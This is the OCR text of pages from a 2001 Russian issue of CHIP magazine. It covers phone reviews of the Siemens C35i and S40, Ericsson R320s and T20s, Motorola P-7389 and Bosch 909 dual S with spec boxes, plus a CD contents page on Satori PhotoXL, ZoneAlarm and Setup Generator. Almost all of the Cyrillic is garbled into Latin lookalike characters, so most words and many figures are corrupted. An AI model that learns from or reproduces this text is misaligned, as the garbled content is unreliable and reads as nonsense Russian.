Hbix cepBMCOB. BMecTe c TeM ohm He M3WMByT ywe cyiAecTByioiAMe K/iaccMHec- 
KMe K/iMeHT-cepBepHbie CMCTeMbi, nocKO/ibKy mmciot p/iA HeAOCTaTKOB. CKopee 
Bcero, 6 yAyiAee — 3a m 6 pMAHbiMM CMCTeMaMM, o 6 ‘beAMH/uoiAMMM ziyniuee M3 
3tmx AByx mmpob. ■ ■ AHApevi Mvixa/ibnyK, amc@adt.ru 


CHIP 


M K) H b 


2 0 0 1 


3ia crpamma yMbiuiJieHHO nyciaa 


106 


HARDWARE 3Kcnpecc-o63op 



Baui/He Baui 

Bbl6op 


PbmoK coTOBbix Te/iec|D0H0B eweMecflHHo nonojiHfleiai HOBbiMM MOfle/uiMM ot pa3Hbix npon3BOAme^eM. 
KajKflbm annapaT CHa6>KeH cnpaBOHHOM WHctDopMapneM, oflHaKO fla>Ke OHa He CM0>KeT npeflCKa3aTb, Ha- 
CKO/ibKO no Aywe eaM npMAeTCfl npeA/iaraeMaa MOAe/ib. Kax npaBM/io, ropa3AO 6o/ibwee B/iMAHMe Ha 
Baw Bbi6op 0Ka3biBai0T otkjimkm 3HaK0Mbix m onbiTHbix no/ib30BaTejieM coTOBbix Te/iec|)OHOB. CpeAH ho- 
bmhok Mbi BbiAejin/n/i HecKO/ibKO Han6o/iee nony/iapHbix MOAe/ien m nonpo6oBa/iM BbmcHMTb o6mne 
«HacTpoeHmi» no/ib30BaTe/ieM. 


■ ■ i TeHpvi Illennapfl 
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Siemens C35i 

BHeuiHMe AaHHbie m nepeoe 
enenaT/ieHiie 

3to OflHa M3 caMbix nony/mpHbix Ha ceroAHflWHMPi 
AeHb MOfle^eM. MCKpMB/ieHHblM BO/l H006p33HblM 
Kopnyc zierKO jiowmtca b pyKy. BHewHflfl HeBbiABMW- 
Hafl aHTeHHa AOCTaTOHHO KOpOTKafl, HT06bl He Me- 
maTb. OflHaKO HeB03M0>KH0 M36aBMTbCfl ot oiAyiAe- 
hma, hto M3-3a MCKpMB/ieH hoto Kopnyca Te/iec|DOH 
mjim ero aHTeHHy zierKO c/iOMaTb. B3r/mA cpa3y ocra- 
HaB^MBaeTC^ Ha >KK-AMcn/iee, KOTopbm 06/iaAaeT 
0TJ1 M H H bl M KOHTpaCTOM M WMpHbIM «TflWe/lblM» 
LupMcjDTOM. Pa3peweHMfl b 101x54 riMKce/ifl, m/im b 5 
crpoK, Bno/iHe AOCTaTOHHO. K/iaBMiua ON/OFF He 
yToruieHa b Kopnyc, ho 6/iaroAapfl ee cfiopMe OKa3bi- 
BaeTCfl HeAOCTynHOM pj\s\ c/iynaMHoro HawaTMA. An- 
napaT co CTaHAapTHbiM aKKyMy/mTopoM AOCTaTOHHO 
zierKMM, OAHaKO no cpaBHeHMio c ApyrMMM Te/iec|DO- 
HaMM aKKyMy/mTopa xBaTaeT HeHaAO/iro. HeT BM6po- 
3BOHK3, a noKynKa cneuMa/ibHoPi 6aTapeM o6omagt- 
cfl HeAeiueBO. 

Bo3mo>khoctm m yfloScTBO paOoTbi 

YnpaB/ieHMe CAe/iaHO npocTO m a6co/iiOTHO noHAT- 
HO. PyCMC|)M AMpOBaHHOe MeHIO OTJ1MHHO HMTaeTCfl 
M pea^M30BaH0 MHTyMTMBHO nOHflTHO. FlMHero 
oco6eHHO BnenaT/mioLAero HeT: nacbi, AaTa, ceKyH- 
AOMep, Ka/ibKy/iflTop, koh B epTep Ba/iiOT m cnncoK 
Ha 30 3aAan c HanoMMHaHMeM AB/miOTCfl Bno/iHe 
o6biHHbiM Ha6opoM; 20 Me/iOAMPi, 100 aneeK na- 
MflTM A-n^ Te/iecjDOHHblX HOMepOB, OTCyTCTBMe CT3H- 



AapTa GSM 1900 o6ecnenMBaiOT Te/iec|)OHy no3M- 
AMK) KpenKoro cepeAHAHKa. OAHaKO BcrpoeHHbiM 
MOAeM ao 9600 6oa m noAAop>KKa WAP vl.l cmot- 
pflTCfl AOCTaTOHHO Heo6blHHO M, eCTeCTBeHHO, no- 
BbiiuaiOT npMB/ieKaTe/ibHOCTb moag-hm. 

HioaHCbi 

B COBpeMeHHbIX CeTflX MCnO/lb3yiOTCfl TpM KOAM- 
PObkm f\ns\ KanecTBeH hom nepeAaHM penu: FR 
(Full Rate), EFR (Enchanced Full Rate) m HR 
(Half Rate). EFR — caMaa KanecTBeHHafl koam- 


poBKa, m coBepiueHHo acho, noneMy b Te/iec|)OHe 
OHa BK/uoneHa no yMO/inaHMio. OAHaKO b Poccmm 
3Ta KOAMpoBKa npaKTMHecKM He noAAop>KMBaeT- 
cn, noaTOMy He ctom/io ee CTaBMTb no yMO/ina- 
hm to. K TOMy >Ke Ha EFR aKKyMy/iflTop «TpaTMT» 
oko/io 15% CBoeu eMKOCTM, a ee KanecTBO hmkto 
H e CMO>KeT oueHMTb. AKKyMy/mTop m TaK He ca- 
Mbm jiynwMPi, noaTOMy coBeTyeM cpa3y nepeHa- 
CTpOMTb C35i. 

0t/i m h h bi m annapaT — noc/ie npoAyMaHHoro Me- 
Hio m oaBMaTypbi C35i oneHb Tflwe/io nepexoAMTb 
Ha Te^ec|DOHbi ApyrMx npoM3BOAMTe/ieM. 


SIEMENS C35I 


CTaHAapT GSM 900/1800 (aBTOMaTMHecKoe) 

ra6apnTbi: 118x46x21 mm co CTaHAa pthom 
500 mAh NiMH 6aTapeePi 

Bee 110 r co CTaHAa pthom 500 mAh NiMH 
6aTapeeM 

BcTpoeHHbiM MOAeM 9600 6 oa 

YnpaB/ieHMe c nK Te/ie4>OHHoPi khmwkom m SMS 

WAP-6poy3ep vl.l 

ABT0A03B0H 

MH(f)paKpacHbiM nopT 

rioAAep>KKa 4>aKC-MOAeMHOM cbh3m ao 14400 6oa 
Bn6p03B0H0K 

BpeMn paOoTbi b pe>KMMe owMAaHnn 260 h 
B peMn paOoTbi b pe>KMMe pa3roBopa ao 6 h 


Siemens S40 

BHeuiHMe A^HHbie m nepsoe 
BnenaT/ieHMe 

OneHb npoTMBopeHMBaii MOAe/ib. PaAyeT AM3aMH, 
oco6eHHO ro/iy6afl noACBeTKa 3KpaHa — 3 to Bbi- 
r/mAHT Heo6biHHO. AnnapaT oneHb zierKMPi 
m yAo6Ho ziewMT b pyne. Ho BnenaT/ieHMe 6e3Ha- 
Ae>KHO nopTMTC^ npu nepBoPi we nonbiTKe boc- 
no/ib30BaTbCfl KJiaBMaTypoFi, TaK KaK 
yBepeHHocTM, hto kji a b m lli a Ha>KaTa, HeT. B pe- 
3y^bTaTe coBepiueHHo HenpoM3BO/ibHo xoneTca 
«AO>KaTb» K/iaBMiuy. Tot, kto MrpaeT Ha rMTape, 
3HaeT He caMoe npMATHoe oiAyiAeHMe, kotas no- 
c/ie AO/iroro nepepbiBa npMW/iocb Bsnjb MHCTpy- 
MeHT B pyKM: CTpyHbl OCTaB/lfllOT Ha KOHHMKaX 
na/ibueB >KecTKMe OTnenaTKM. IIohtm to we caMoe 
Bbi nonyBCTByeTe noc/ie agcatm MMHyT «AOWMMa- 
hmm» oaBMaTypbi. Eo/ibwe npMAenMTbc^i He k ne- 
My, TaK KaK MeHio ocTa^ocb TaKMM we yAo6HbiM, 
KaK m Ha M/iaAKJMx MOAe^5ix, a 6 CTpoK Ancn^e^i 
C03Aai0T oiAyiAeHMe zierKOAOCTyn hoctm /iio6om 
MHC j)OpMaAMM (TOHHee OnMCaTb HeB03M0WH0, 
HywHO nonpo6oBaTb c3mmm). 

Bo3mo>khoctm m yflo6cTBO pa6oTbi 

3aneM b TaKoPi Ma/ieHbKMPi Kopnyc bmcctm^m 
CTO/ ibKO HaBopoTOB, A/ifl o6biHHoro ne^OBeKa — 
3araAKa. 



Te^ec|DOHHa5i khmwk 3 Ha 1000 HOMepoB (ao- 
no/iHMTe/ibHO eiAe 250 HOMepoB coxpaHfliOTCfl Ha 
SIM-KapTe) 6 o^biue noAxoAMT a/ia peanv\3au,m 
Te/iecjDOHHOM 6a3bi paPioHa, neM A-n^ /iMHHbix 3anM- 
cePi. AnnapaT 06 /iaAaeT aBTOMaTMnecKOM m pyn- 


H0pi 6 /lOKMpOBKOM. K^aBMUJa ON/OFF CM^bHO 
yTon/ieHa b Kopnyc. 42 mc/ioamm, 5 nporpaMMMpy- 
eMbix Me/iOAMM, Bbi 6 op A3biKa, HacTpaMBaeMoe Me- 
Hio, WAP-6pOy3ep BepCMM 1.1, B03M0WH0CTb CM H- 
xpoHM3auMM c Microsoft Outlook, 
npMeM/oTnpaBKa e-mail — ocraeTCfl TO^bKO Aora- 
AbiBaTbc^, noneMy Siemens He AOBe/i HanaToe ao 
KOH ua m cpa3y He BCTpoM/i b Te/iecjDOH no^HoueH- 
H bl ki MMKpOnpOAeCCOp, BeAb B CTOMMOCTb 3TOM MO- 
Ae/iM Bno^He Morjia 6 bi boPItm m ero u,ena. 


SIEMENS S40 


CTaHAapT GSM 900/1800/1900 

raOapMTbi: 112x44x22 mm 

Bee: 97 r co CTaHAa pthoPi 600 mAh Li-Ion 
6aTapeeM 

BcTpoeHHbiPi MOAeM 9600 6 oa 

ynpaBneHMe c nK Tene(f)OHHoPi khmwkoPI m SMS 

WAP-6poy3ep vl.l 

ABT0A03B0H 

MH(f)paKpacHbiPi nopT 

rioAAepwKa 4>aKC- MOAeM HoPi cbh3m ao 14400 6oa 
Bm6po3bohok 

BpeMfl paOoTbi b pewMMe owMAaHMn 260 n 
BpeMn paOoTbi b pewMMe pa3roBop ao 6 n 


CHIP 


M 10 H b 


2 0 0 1 
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HARDWARE 3Kcnpecc-o63op 


Ericsson R320s 

B Hew Hue flaHHbie 11 nepeoe 
BnenaT/ieHMe 

Ma/ieBi/in! ripocTO caMa KBaflpaTHOdb. HanoMMHa- 
eT ciapbie yrAOBaTbie MawMHbi, ho mmchho b stom 
m 3aofOHaeTC5i ero onapoBaHMe. HecMOTpA Ha Ta- 
kom nepecnyp KAaccMHecKMM flM3aMH, annapaT 
HpaBmcfl oneHb mhotmm. riATMCTpoHHbiM rpacfiMHe- 
ckmm 3KpaH MMeeT OT/iMHHbiM KOHTpacT. KAaBMaTy- 
pa npodo 6ecnoflo6Ha — ka a b m hi m Ha>KMMaiOTCA 
AerKO m c actkmm «LAeAHKOM Ha oiAynb». riopTMT 
BneHauieHMe craHAapTHaA 6aTapeA. MaAO toto, 
hto OHa flOBO/i bHo CAa6aA, ho eiAe m HeyKAiowe 
TOpHMT C3aflM M3 OHeHb TOHKOTO KOpnyca Te^ec|30- 
Ha. KoHeHHo, sto He CMepTeAbHo m slim-6aTapeA 
cyiMecTByeT b npnpofle, ho Bee >Ke npoM3BOAMTeAio 
ctomao cpa3y npeflycMOTpeTb CBA3aHHbie c Hen 
npo6/ieMbi. 

Bo 3 mo>khoctm h yaoOctbo paOoTbi 

Cn/ioiuHafl BKycHiiTMHa: Ha/iMHMe WAP-npoTOKOAa, 
BdpoeHHbm MHcjDpaKpacHbiM nopT, rOAOCOBOM Ha- 
6op 10 3apaHee Bbi6paHHbix HOMepoB M3 3anMc- 
HOM KHM>KKM — npOCTO npOM3HeCMTe MMA, rOAO- 
COBOM OTBeT Ha Bbl30B, flMKTOCjDOH Ha 92 ceKyHAbi. 
Aa^ee MflyT bcakmc mcaohm Bpofle Mrp, 3anMCHOM 
KHM>KKM Ha 99 HOMepOB, BM6p03B0HKa M aBTOflO- 
3BOHa. MeHio nodpoeHo AOTMHHO M HapeK3HMM He 
Bbi3biBaeT. K co>Ka/ieHM to, npn pa6oie bo3hmkam 

Ericsson T20s 

BHeimme AaHHbie 11 nepeoe 
BnenaT/ieHiie 

KorAa annapaT nonaA BnepBbie MHe b pyKM, a hm- 
KaK He MOT BCnOMHMTb, hto oh MHe HanoMMHaeT. 
3HaKOMO, ho noneMy-TO HeB03M0>KH0 noAo6paTb 
c/iobo. TaK npoAOAwaAOCb ao Tex nop, noxa kto- 
to He CKa3a/i, hto Me>KAy co6om npoAaBLjbi 30ByT 
ero «>Ka6oM» m/im «AArywoHKOM». Caobom, Ka- 
Koe nepBoe BnenaTAeHMe — AerKO ce6e npeA- 
CTaBMTb. BnenaTAeHMe ycMAMAa KpbiiuKa ka aBMa- 
Typbi — y>K oneHb jierKafl m Ha bma HenponHaA. 
KHonxa AHKTOc|)OHa, pacnoAO>KeH HaA c6oKy Ha 
Kopnyce, 6oATaAacb, xota, bo3mo>kho, sto 6bi/i 
6pax. AMcn^eM annapaTa HacTOAbKO y3KMM, hto, 
HeBOAbHO npoAOA>KaA cpaBH m BaTb annapaT c >km- 
BbiM cyiAecTBOM, AoraAbiBaeiiJbCA — npMLAypMB- 
waACA AflrywKa. OAHaKO b pyxe annapaT Ae>KMT 
KaK bamtom. Bmammo, m H)KeHepbi Ericsson aio6at 
KMAaTbCA b KpaMHOCTM. An napaT 6oa bme Hano- 
MMHaeT AGTCKyio MrpyiUKy, BpAA am oh Ao6aBMT 
pecneKTa6eAbHOCTM xo3A m Hy. 

Bo 3 mo>khoctm h yflo 6 cTBO paOoTbi 

OAHaKO npn pa6oTe a yBMAeA, KaK TeAecfiOH npe- 
BpaiAaeTCA M3 aa ryui km ecAM He b npMHLja, 
to b HeKoe noAo6Me HenAOxoro TeAecfiOHa. Amc- 
nAeM, HecMOTpA Ha npniAyp m HaAMHMe Bcero 
A M LLI b TpeX CTpOK, OK33aACA OHeHb yA06HblM 
M KOHTpaCTHbIM. LU pMCjDT MeHAeTCA B 33BMCMMOC- 



HeAopa3yMeHMA c onpeAeAeHMeM CMrHaAa «33 ha- 
TO». l/l3-3a 3TOTO HaHMHaiOTCA 6eAbl C aBTOA03BO- 
hom. HeM AaAbiue b Aec, TeM 6oAbme aPOb: He- 
cmotpa Ha BHywaioiAyio yBa>KeHMe aHTeHHy 



tm ot KOAMHecTBa BbiBOAMMoro TeKCTa. flawe ec- 
AM TeKCTa oneHb mhoto, mo>kho AerKO npoKpy- 
TMTb ero CAaMAepoM, pacnoAO>KeHHbiM c6oKy 
Kopnyca TeAecfiOHa. TaK hto HeAOCTaTOK, cba33h- 
hhm c MaAeHbKMM pa3MepoM A^cnAeA, OTnaA 
b nepBbie ABe MMHyTbi. rioABeAa KAaBMaTypa: 
KHonKM MaAeHbKMe, a noACBeTKa oneHb HepaBHo- 
MepHaA. AKKyMyAATop annapaTa npocTO 6e3AOH- 
HbiM. riocAe nepBbix Tpex AneM pa6oTbi annapaTa 
HaHMHaeiiJb 3a6biBaTb o tom, hto oh MHorAa Tpe- 
6yeT 3apAAKM. l/l3-3a stoto mo>kho 3a6biTb ero 


annapaT MHorAa BbinaAaeT M3 ceTM, npMneM npM- 
MepHO b TpeTM CAynaeB annapaT MMHyT no nATb 
OTKa3blBaeTCA CHOBa BOCnpMHMMaTb CMTH3A ! 
ripaBAa, nocAe BbiKAioHeHMA/BKAioneHMA TeAecjDOH 
«o>km B3A». 3to CTpaHHO aaa annapaTa 6M3Hec- 
KAacca, ho, noxo>Ke, CHOBa noBTopAiOTCA HenpMAT- 
hoctm c KanecTBOM cba3m 6oAee AemeBbix aHaAO- 
roB ot Ericsson. 


ERICSSON R320S 


CTaHAapT GSM 900/1800 

noAAepwKa AByx TeAe4>0HHbix HOMepoB 

Ta6apMTbi: 130x51x15 mm (co CBepxnnocKOM 
6aTapeeM) 

Bee: 128 r co CTaHAa pthom 800 mAh Ni-MH 
6aTapeeM 

BcTpoeHHbm MOAeM 9600 6oa 
WAP-6poy3ep vl.l 

ABT0A03B0H 
PlH^paKpacHbiM nopT 

noAAep>KKa 4>aKC-M0AeMH0M cba3m ao 14400 6oa 
Bm6po3bohok 

BpeMA pa6oTbi b pe>KMMe okmashma 
50/65/150 h (CBepxnAOCKaA/llAOCKaA/ 
BbicoKoeMKaA SaTapen) 

BpeMA paSoTbi b pe>KMMe pa3roBopa 
220/280/630 mmh. (CBepxnAOCKaA/llAOCKaA/ 
BbicoKoeMKaA 6aTapeA) 


noA3apAAMTb, KorAa sto AeMCTBMTeAbHO noTpe- 

6yeTCA. HyBCTBMTeAbHOCTb, KaK M y 60AbUJMHCTBa 
HeAOpOTMX «3pMKOB», epeAHAA. Ho HM cpbi bob, 
hm «33BMcaH m m» annapaT He o6Hapy>KMA. 

OAHaKO, 3ByK OK33aACA He Ha BbICOTe. riaMATM 
AAA MeAOAMM OHeHb M3AO, Rd M CaMO 3ByH3H Me 
ocTaBAAeT >KeAaTb Aynmero. ripeKpacHo peaAM- 
30BaHHbie Mrpbi (Aa>Ke Aynme, neM y mhotmx mo- 
AeAeii c 6oAbiAMM AUcnAeeM) ycMAMBaiOT npoM3- 
BOAMMoe annapaTOM BnenaTAeHMe otamhhom 
cotobom MrpyiiJKM. Ecam 6bi He ah33mh, Ericsson 
T20s 6biA 6bi 3acAy>KeHHO nonyAApeH. A TaK, 
no oneHb MeTKOMy Bbipa>KeH m io, sto «h3Ctoaiamm 
>KeHCKM M TeAec|DOH». 


ERICSSON T20S 


CTaHAapT GSM 900/1800 
rioAAop>KKa AByx TeAe4>OHHbix HOMepoB 
Ta6apMTbi: 101x54x28 mm 
Bee: 128 r 

BcTpoeHHbiM MOAeM 9600 6oa 
WAP-6poy3ep vl.l 
ABT0A03B0H 
Bm6po3bohok 

BpeMA paSoTbi b pe>KMMe o>KMAaHMA 200 h 
BpeMA paSoTbi b pe>KMMe pa3roBopa 10 h 


CHIP 


M K) H b 


2 0 0 1 
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Motorola P-7389 

BHewHMe flaHHbie m nepeoe 

BnenaT/ieHMe 

CnapiaHCKMM AM3aMH coBepiueHHo He paflyeT, 

KaK, BnponeM, m Bee ocra/ibHoe. flMcn/ieM pea/iM- 
30BaH HeyflaHHO: M3 nflTM B03M0>KHblX B OCHOB- 
HOM MCnO/lb3yiOTCfl TO/lbKO HeTbipe CTpOKM. 
n pH 3T0M OT Kpa^ flMCn/iefl AO C 06 CTBeHH 0 TeKCTa 
Bcero OKO/io Tpex mm/i/immctpob. M 3-3a 3Toro 
pacno/ioweHHbie BBepxy MHAMKaTopbi CMrHa/ia 
m aKKyMy/iflTopa 3aTeMHfliOTCfl, m mx n/ioxo bmaho. 
MeHio c nepBoro B3m^Aa 3aciaB/ifleT B3A0XHyTb 
m CHOBa y6eAMTbC5i, hto Motorola He /iio 6 mt no/ib- 
30Baie/ieM. 

l/l3Hana^bH0 MeHto npM npoKpyTKe nMKTorpaM- 
MaMM He 6a/iyeT, OAHaKO k/i a b m hi e m «BBepx» mx 
mo>kho Bbi3BaTb. BnponeM, He noMoraeT m 3to: 
nuKTorpaMMbi, Aa m tckct TO>Ke, npopMCOBaHbi 
oneHb tohko, noaTOMy, HecMOTpa Ha oneHb CM/ib- 
HblM KOHTpaCT, BCe BblMflAMT 6jieOO. EAMHCTBeH- 
Hoe aoctomhctbo Te/iecfiOHa — ero zierKOCTb, Aa- 
>ne 3ap^AHMK k HeMy Becm MeHbiue 100 rpaM- 

MOB. 

Bo3mo>khoctii li yflo6cTBO pa6oTbi 

KaK o6biHHo, KanecTBO cba 3 m y Motorola Ha Bbico- 
kom ypoBHe. Mo>KeT pa3Apa>KaTb coBepiueHHo He- 
o>KMAaHHoe npenaTCTBMe b bm Ae c/ierKa yTon/ieH- 
Horo HayiuHMKa: HeB03M0>KH0 no3MAMOHnpoBaTb 
ero tohho HanpoTMB yxa. BpoAe 6bi Te/iec|DOH pac- 



no/io>KeH npaBM/ibHO, ho Bee paBHO, noc/ie Torn 
KaK nooibiiui/iTCfl ro/ioc M3 Tpy6KM, npMAera noMe- 
H^Tb no/ioweHMe annapaia. LCD-AMcn/ieM Te/iec|)o- 
Ha Mcno/ib3yeT OTpaweHHbm cbct, HTo6bi 3KpaH 
Ka3a ncn CBeTfliAMMCfl. BpoAe 6bi Hen/ioxo, noKa He 
3aXOHeTCfl Bbl K/l lOHMTb noACBeTKy. Btoto BaM npo- 


cto He yAacrcfl CAe/iaTb. AnnapaTHO MOAe/ib npaK- 
TMHeCKM nO/lHOCTbK) nOBTOpfleT P-7089. l/l3-3a 3TO- 
ro HM K3K He/lb3fl M36aBMTbCfl OT CTpaHHORD oiAy- 
LAeHMfl, hto P-7089 mo>kho npeBpaTMTb b P-7389 
«nepe/iMBKOM» nporpaMMHoro o6ecneHeHM8. Bo- 
npoc, OTKyAa B3fl/iacb pa3HMLja b $100 Me>KAy 3 tm- 
mm moac/iamm, ecTecTBeHHo, ocTaera 6e3 OTBeTa. 
Pa6oTa c SMS cra/ia HaMHoro yAo6Hee, neM Ha 6o- 
/iee paHHMx MOAe/iax ot Motorola, ho Bee paBHO 
Apy>KecTBeHHbiM MHTepcjDeMc He Ha30Beiub. 


MOTOROLA P-7389 


CTaHAapT GSM 900/1800/1900 
(aBTOMaTHHecKoe nepeK/iioHeHHe) 

noAAep>KKa AByx Te/ie 4 ) 0 HHbix HOMepoB 

TaOapHTbi: 140x50x25 mm 

Bee: 108 r 

BcTpoeHHbiPl MOAeM 9600 6 oa 
WAP- 6poy3ep vl.l 
ABT0A03B0H 
MH(f)paKpacHbiM nopT 

noAAep>KKa 4>aKC-M0AeMH0M cbh3m ao 9600 6oa 

Bn6p03B0H0K 

BpeMH paOoTbi b pe>KMMe owMAaHnn 150 h 

BpeMH paOoTbi b pe>KMMe pa 3 roBopa 
AO 200 MMH 

flMcn/iePi rpa4>MHecKHM BbicoKOKOHTpacTHbm 


Bosch 909 dual S 

BHeuiHMe aaHHbie m nepsoe 
BnenaTfleHMe 

OneHb Kpaci/iBafl MOAe/ib. ripocTO 6ecnoAo6Hafl 
BeiAb, KOTopaa Bbi3biBaeT bocxm lAeHMe. flawe 
wa/iKO TaKoPi annapaT 3acoBbiBaTb b nexo/i. 
CoBceM HeAaBHO h3mtm aKceccyapbi nnn stoto 
T e/iec|)OHa 6bi/io oneHb Tawe/io, b tom h Mc/ie 
m cjDMpMeHHbie nex/ibi. Heo6biHHa^ noACBeTKa 
AMcn/iea (HeHTO cpeAHee Me>KAy ro/iy6biM m cm- 
peHeBbm) npMAaeT annapaTy crpaHHbiM, ho Kpa- 
CMBblM BMAa a OHeHb HeTKMM, KpynHbm MaciUTa- 
6MpyeMblM Lii p m c|dt OT^MHHO HMTaeTC^. KHOnKM 
HawMMaiOTCfl Hpe3BbinaMHO ^erKO m yAo6HO, mo- 
>KeT, Aa>Ke nepeenyp ^erKO, ho TaK KaK cjDMKca- 
\\m HawaTMfl nyBCTByeTC^ na^bAaMM, to 3to He 
CTpaiUHO. 

Bo3mo>khoctm m yfloScTBO pa6oTbi 

AnnapaT o6^aAaeT ot^mhhom nyBCTBMTe/i bHoc- 
Tbio. OnbiTbi noKa3a^M, hto BxoA^iAMe 3 bohkm an- 
napaT /iobmt, Aa>Ke ec/ii/1 Ha MHAHKaTope cbhsia 
HeT hm oahom pmckm, To^bKO Ha3B3HMe onepaTO- 



Tun 6aTapen 

Pe>KiiM o>«nflaHnn, h 

Pe>KiiM pa3i~OBopa, h 

Bee Te/ie(|)OHa c 6aTapeeM, r 

Vibra 400mAh Li-Ion 

110 

3,2 

107 

Vibra 650mAh Li-Ion 

179 

5,2 

117 

650mAh Li-Ion 

179 

5,2 

109 

750mAh Li-Ion 

207 

6 

132 

1800mAh Li-Ion 

496 

14,4 

148 


pa Ha A^cn^ee. PerMCTpaun^ m noMCK ceTM npo- 
MCXOA^T HeMHOTO MeA-HGH HO, 3aTO B pe>KMMe pa3- 
roBopa annapaT BbiAaeT Bbicrn m m nn/iOTa>K. Ypo- 
BeHb ci/irHa/ia npn coeAMHeHMM B03pacTaeT. 
rioc^e yCTaHOB^eHMfl CBfl3M 3ByK CTaHOBMTCil 
npocTO Be/iMKO/ienHbiM, HeT npaKTi/inecKM hm Ka- 
KMX UJyMOB, npM BCeM 3TOM /1MHM51 AGp>KMTC51 
oneHb yBepeHHO. Te/iecjDOH cnpoeKTMpoBaH no 
npMHAMny «HMHero ^MiuHero», a to, hto jimujhmm 
He h B/ i5ieTCH, pea^M30BaH0 6/iecTfliAe. Hame^c^ 
to/ 1 bKO oamh HeAOCTaTOK: noABMpaeT mhamk3top 
3ap^AKM. Te^ecfiOH noAaeT cnrHa/i o Heo6xoAMMO- 
ctm 3ap^AKM aKKyMy/iflTopa noHTM cpa3y noc^e 
toto, KaK MHAMKaTop ypoBHe yKa>KeT, hto aKKyMy- 
^^Top pa3p5i>KeH Ha ABe TpeTM. 



CHIP 


M 10 H b 


2 0 0 1 
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CHIP CD coflepjRaHMe 


Chip CD: coflepxoHi/ie 

nepBoe, 

BTOpoe H komviot! 

Bot m Bbiwe/i b CBeT BTopofi HOMep poccuPicKoro Huna, a c hum m BTopoPi Chip CD. flyMaio, ctomt 
OTM eTMTb, HTO B 3TOT pa3 flMCK 3a6klT nOfl 33BB3Ky, TO eCTb, eCJIM 6bl Ha Hero BMema^OCb B no/iTopa 
pa3a 6o/ibwe flaHHbix, to Mbi 6bi Haw/ii/i, neM ero 3ano/iHMTb. C flpyroii CTopoHbi, b npopecce OT6opa Ha 
CD nona/w npoflyKTbi, KOTopbie 6o/iee flpymx AOCToPiHbi BHMMaHMn, h b stom ecTb cbom n/iiocbi. KpoMe 
nporpaMM, Ha Ancxe b cpopMaTe PDF ony6/iMKOBaH npow/ibm HOMep Haujero wypHa/ia. 


llporpaMMbi fl/m Windows 

Satori PhotoXL 2.29 — sto rpacjDMnecKMM peflaKTop, 
MMeiOLUMM lUMpOKMe (JjyHKUMOHaAbHbie B03M0)KH0CTM M 
npocroM MHTepcfDeMC. Ero mo>kho oxapaKTepn30BaTb 
KaK HeHTO cpeflHee Me>KAy npocrbiMM rpacf)MHecKMMM 
peflaKTopaMM, KOTopbie He npeAOcraBAAiOT o6mama 
B 03M0>KH0CTeM, m npocjDeccMOHa/ibHbiMM nporpaMMaMM, 
cno>KHOCTb KOTopbix MeiuaeT noAaBAAioiAeMy 6oAb- 
LUMHCTBy rpa(}DMK0B-^K)6MTeAeM nO^HOUeHHO n0Ab30- 
BaTbCJi BceMM cfjyHKumiMM. CaMbiM 6o/ibiuMM npeMMy- 
mecTBOM PhotoXL abaactca noAHOueHHaA 

COBMeCTMMOCTb C TOHKM 3peHMA noAAep>KMBaeMbix 
(}DOpMaTOB M B03M0>KH0CTeM MMnOpTa/SKCnOpTa flaH- 
Hbix b nporpaMMy Photoshop. 

3ia nporpaMMa npeflAaraeT 6oraibm Ha6op 
(fDyHKUMM. C nepBoro B3rAAAa KaweTCA, hto OHa 
CAOWHaA, ho 6/iaroAapa yHMBepca/ibHOM naHeAM 
mo>kho 6bicipo npMBbiKHyTb k ynpaBAeHMio M, eCJIM 
HT0-Hn6yAb 6yAeT He acho, BcerAa mo>kho 
odpaTMTbCA k cnpaBKe. 

ZoneAlarm 2.1.44 ocyiAecTBAAeT firewaU-3aiAmy 
npn/io>KeHMM h 3aiAmy 1/lHTepHeT-coeAMHeHMM npM 
noMOiAM AHHaMMHecKM onpeAe/iaeMbix creneHeM m 30H 
6e3onacHOCTM. 3aiAma firewall KOHTpoAMpyeT noA- 



a npm noMoiMM Satory MoryT paSoiaib m 
ji to 6 menu, m npo 4 >eccnoHa/ibHbie 
XyAOMHMKM 


kaiohchma k KOMnbioTepy m pa3pewaeT AMWb Heodxo- 
AMMbie h o>KMAaeMbie bmaw onepauMM. KoHTpoAb npM- 
aokchmm no3BO/ifleT neTKO o6o3HaHMTb, KaKMe M3 npo- 
rpaMM MoryT, a KaKMe HeT, noAb30BaTbCA 
MHTepHeT-coeAMHeHMeM, to ecTb 3aiAMiAaeT ot agmct- 
bmm nporpaMM, KOTopbie Mor/iM 6bi npeAOdaBMTb cbo- 
mm aBTopaM AOdyn Ha Baiu KOMnbioTep. OHa MO>KeT 
3anycKaTbc^ aBTOMaTMHecKM c xpaHMTe/ieM 3KpaHa 
mam nocAe onpeAe/ieHHoro BpeMeHM npocroA. 

HacTpoiiKa «Security» coctomt m 3 Aayx nacreM: 

Aaa /lOKa/ibHOM ceTM m p,nn 1/lHTepHeia. CraHAapTHbm 
ypOBeHb HaCTpOMKM A-DFi A0K3AbH0M ceTM — epeAHMM 
(Medium). ripM stom Baiu KOMnbioTep 6yAeT bmach b 
ceTM, m AOCTyn k onpeAe/ieHHbiM nporpaMMaM 6yAeT 
pa3peiueH. Bwcokmm ypoBeHb 6e3onacHOCTM (High) 
odbiHHO McnoAb3yeTCA pj\n MHTepHeTa: nporpaMMa 
6^0KMpyeT Bee nonbiTKM AOCTyna c BHewHeM CTopoHbi 
(Stealth mode). 

B ZoneAlarm ecTb cfjyHKUMA noAHoro kohtpoaa aK- 

TMBHOCTM B TeHeHMe BpeMeHM COeAMHeHMfl. ECAM Bbl 
COeAMHMTeCb (mam y>Ke COeAMHMAMCb) C 1/lHTepHeTOM M 
3anycTMTe KaKyio-HM6yAb nporpaMMy, to ZoneAlarm 
CnpOCMT, AOA>KeH AM OH pa3peWMTb eM AOCTyn. 

C ZoneAlarm npMATHO MMeTb agao: AGMCTByA 3$- 
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a noA KHonKOM Security CKpbiBaeTcq 
HacTpoMKa ypoBHeu OesonacHOCTM 


cjDeKTMBHo, nporpaMMa He ocTaBAAeT 6e3 BHMMaHMA m 
noTpedHOCTM noAb30B3TeAA. KpoMe Toro, OHa pacnpo- 
CTpaHAeTCA 6ecnAaTH0. 

Setup Generator 2001.1.0 — sto nporpaMMa, 
C03Aai0LAafl MHCTaAAAUMOHHbie naKeTbi p,j\n npocTbix 
npMAO>KeHMM. MHCTaAAAUMA nporpaMMbi — nepBoe, c 
neM CTaAKMBaeTCA noAb30BaTeAb, m to, KaK c Hen 
cnpaBMAMCb pa3pa6oTHMKM, onpeAGAeHHbiM o6pa30M 
roBopMT 0 KanecTBe caMoro npoAyKTa. I/I hct3aaa am m 
ota MH aiOTCA Apyr ot Apyra — y KpynHbix nporpaMM- 
